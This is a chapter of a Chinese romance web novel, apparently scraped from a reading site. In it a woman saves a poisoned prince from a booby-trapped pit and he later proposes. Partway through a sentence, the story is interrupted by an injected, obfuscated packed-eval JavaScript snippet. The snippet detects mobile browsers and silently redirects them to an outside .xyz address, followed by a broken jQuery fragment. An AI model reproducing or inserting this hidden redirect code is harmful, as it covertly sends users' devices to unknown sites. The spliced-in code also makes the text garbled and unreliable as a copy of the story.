默认冷灰
24号文字
方正启体

27. 三日烟

作者:可弃木椟本书字数:K更新时间:
    坑底的“小贼”被她气得大吐了一口毒血,有气无力说,“你,你低下头来看看我是谁。”


    曲意微怔,这声音怎地如此熟悉?


    下一瞬,她面上的云淡风轻彻底消失,慌张地扑到坑边,伸长了脖子往下望着,“殿下,怎会是你?”


    商景辞强撑着说,“先别问这些,我中了毒浑身无力,怕是撑不了多久,解药呢?”


    曲意摁下地面的一个凸点,坑底的箭尖瞬间全部缩了回去,她急得声音发涩,“解药收在了凌素那里,我这就去找,还有,你切记不要碰坑内四壁,那上边全是机关,真的会要了你的命的!”


    商景辞正准备靠着坑壁坐下来,听了这话,哪还敢碰,只好缩成一团窝在坑底。


    曲意朝着侧房狂奔而去,一通翻箱倒柜,好不容易寻到了那装着一堆药瓶的包裹,刚一打开,却见里面蹲着一只灰灰的老鼠,吓得她倒退了两步。


    原来余巧那日说的是真的,这院子里真的有老鼠!!


    曲意哪里有跟老鼠搏斗的经验,站在那里一时不敢动弹,这老鼠许是通人性,见她怕了,更是站了起来,两只爪子蜷在身前,“吱吱”大叫着,极神气地盯着她。


    曲意是真的怕极了,可想想外面那中了毒等着她去救的人,便又只得壮起了胆子,左右不过是被咬上一口罢了。


    她走上前,拼命甩着袖子想将老鼠驱赶走,可那老鼠虽跳下了柜子,却并未跑远,仍在近处观察着她,准备伺机而动。


    曲意无暇再管它,手忙脚乱地翻起了包裹,好在凌素曾给她瞧过解药的样子,她循着记忆寻到了两瓶疑似的“解药”。


    这两瓶药,除却气味不同外,颜色、大小、瓷瓶皆是一样的,实在难以分辨。


    正当曲意犹豫时,那老鼠猛冲了上来,一口咬伤她的手指,她左手握着的药瓶摔在地上碎裂开来,红彤彤的药丸骨碌碌滚了一地,老鼠心满意足地追了上去,吞了一粒药。


    曲意紧握着被生生咬掉一块肉的手指,疼得掉着泪珠,“你这小东西也忒狠了!”


    曲意盯了它许久,见它接连吃了几颗药丸都没什么事,仍旧活蹦乱跳的,便将另一瓶药也倒了一粒出来,丢到老鼠旁边,逗着它,“这个你也尝尝。”


    老鼠果真朝那药丸凑了过来,一口塞进了嘴里,有滋有味地咀嚼着,可仅仅过了几息,老鼠突然浑身抽搐,口吐白沫,片刻后,彻底僵死过去了。


    曲意见状,长舒一口气,“对不住了,不过这可是你自己找死,我还叫你咬了一口呢,你也怨不着我。”


    曲意手指仍在汩汩流着血,却来不及处理伤口,抓起解药便匆匆跑回坑边,朝下喊道,“你还好吗?”


    寒夜寂静,了无回音。


    曲意更是心急如焚,掂量着这坑不算太深,掉进去也摔不死,心一横,咬着牙也跳了下去,摔到坑底时,疼得“哎呦”叫了一声。


    坑底漆黑无比,仅靠着投射下来的一丝微弱月光,她瞧见了角落里疼得缩成一团的商景辞。


    曲意连滚带爬地朝他扑了过去,倒出一粒解药,递到他唇边,“快吃了它,吃了就好了。”


    好在,商景辞还有意识,尚能吞咽,解药入腹,那蚀骨一般的疼总算渐渐消退了。


    曲意小心地扶起他,让他枕着自己的双腿,又拿出手帕给他擦着汗,极不熟练地哄道,“没事了,吃了药就会好的,不要怕。”


    过了会儿,她又眼泪汪汪地自责道,“对不起,我该早点告诉你这院中布了阵的,只是你近日太忙,我就没来得及说,你还哪里难受,好些了吗?”


    良久,仍是没有回音,曲意又问,“你听得到我说话吗?”


    终于,商景辞声音沙哑地回道,“太吵了。”


    曲意糯糯道,“好,那我不说了。”


    幽暗的坑底,除却商景辞仍有些粗重的呼吸外,再无其他声响。


    曲意双腿被他枕得发麻,却仍旧一动不动地僵坐着,一只手轻轻揽着他的肩,另一只手则无意识地缠着他散乱的发丝。她抬头望向被洞口圈住的天空,那里唯有十三颗时明时暗的星子,分明很轻易就能数清,她却还是反复数了好多遍。


    夜愈发寒凉,商景辞方才疼得浑身都冒着虚汗,曲意唯恐他会染了风寒,便越搂越紧,小心地将他护在怀里。


    不知过了多久,商景辞的呼吸渐渐平缓下来,亦不再发抖,曲意猜想应是解药起了效,低头小声问,“你好些了吗?”


    商景辞声音干涩,带着浓重的鼻音,“冷。”


    曲意将他抱得更紧了些,搓着他的手,“你往我身上靠一靠,应当能暖和些。”


    黑暗中,商景辞扬起嘴角,邪笑道,“好啊。”


    正所谓月黑风高夜,坑底纵火时,商景辞身体底子好,解药药劲上来,又没中多久的毒,如今力气全都回来了,他握住曲意双手,迅速起身将她反扑在身下。


    曲意有些发怔,商景辞温柔地注视着她映满星光的双眸,心念已动,低头朝着她柔软的红唇吻去。


    “姑娘!你在哪?”凌素方一回来,便瞧见了满院的狼藉,急得慌乱不已。


    曲意这才回过神儿,忙偏过头,落下的吻只淡淡擦过她唇畔,曲意轻推着他,小声说,“你快起来,别叫凌素瞧见了。”


    商景辞朗笑,“那依你的意思,没人瞧见时就可以?”


    曲意羞红了脸,“自然也不行,你快起来吧。”


    商景辞听着上面越来越近的脚步声,十分不甘心地站起身,一把将曲意抱起,纵身一跃,自坑中飞身而出。


    曲意站定,拍了拍身上的泥土,有些不悦道,“凌素,你方才哪里去了,平日里倒是寸步不离,偏是用到你时就不在了。”


    凌素见她好好的,才松了口气,歉疚道,“以后,我可再不敢离开你半步了,谁叫我也不走了。”


    “罢了,就饶了你这一回。”


    凌素朝她走近,关切问,“姑娘,你怎么也到下面去了,没受伤吧?”


    曲意委屈巴巴地将手伸了出来,缺了一块肉的伤口仍在不住地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740801|174162||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    流着血,“方才我去你那屋里拿解药,被老鼠咬了一口,有些疼。”


    凌素抓起她的手,急道,“老鼠咬的?老鼠最是肮脏,必须要立即上药的,若是染了炎症,再引出别的病来可怎么办。”


    曲意尴尬地笑了笑,却比哭还难看,手上的伤也传来钻心的疼。


    凌素瞧着曲意一身的泥土,又问,“还有没有别的伤?”


    曲意眼眶微红,垂首小声说,“有,我刚才跳下去时,摔得浑身都疼”,她忍不住向凌素栽倒过去,却顾忌着仍在假冒曲情的身份,在商景辞面前不敢大声哭,只是倚着凌素小声呜咽,“好疼啊,哪里都疼。”


    商景辞心疼不已,伸手将曲意从凌素身上扒了下来,打横抱起她就往屋里走,又冲凌素说,“去取药来。”


    曲意缩在商景辞怀里,强忍住了哭意,商景辞将她放在床上,便站在一旁,看着凌素为她疗伤,既插不上话,又插不上手。


    待到凌素处理好了,曲意瞧着旁边无所适从的商景辞,极贴心地说,“凌素,你先出去,我和殿下还有些话要说。”


    凌素没好气道,“姑娘犯不着赶我,也不知是谁,不掂量掂量自己的能耐就闯阵,才害得你现今这样。”


    曲意轻轻摇头,示意她别说了。


    “我走就是”,凌素不情不愿地出去了。


    待到屋内只剩下二人时,曲意强笑说,“我没事了,你不用担心,倒是你,三日烟的毒性很烈,瞧着这样子凌素是不会帮你了,过会儿,你记得找余巧再好好看看,开些药调理调理。”


    屋里点着烛火,却并不是很亮,曲意瞧不清商景辞的表情,屋内一时静得只听得见“啪啪”爆灯花的声音。


    半晌,商景辞才幽幽开口,“阁主方才若不救我,任我自生自灭,你便可以离开太子府,你刺杀珍王的秘密,也会被永远掩藏了。”


    曲意怎料到他会说出这番话,犹如一盆冷水泼下,浇得通身冰凉,心头尤甚,她缓缓道,“殿下说笑,你若死在我的院子里,曲家不就完了,再说,谁知道此事你还有没有告诉旁人。”


    “阁主大可以把我杀了扔到外面,方才的事,你知我知而已,至于痕迹,对于贵阁来讲,不难抹灭。而只要我一死,旁人即便知道些什么,亦人微言轻,难以作数。”


    曲意气急反笑,“笑话,你中的是疏缈阁的三日烟,扔到哪里尸体上的毒都骗不了人。”


    商景辞语气更加难以捉摸,“阁主忘了,贵阁秘药,外人是不识的?”


    强撑的笑意终于破裂,曲意从床上撑起身子,愤然道,“你说这些究竟什么意思?”


    商景辞徐徐行至床边,扶着曲意躺下,阴恻恻笑道,“我是想提醒阁主,你貌似比自己想象中的更在乎我,既是如此,想来我们的第二条约定,便做不得数了。”


    曲意冷冷瞪着他,“你要做什么?”


    商景辞俯身凑近她,近至不能再近之处,忽而一扫先前的阴郁,坏笑道,“改日,我再去曲府提亲如何,这次以太子的身份。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)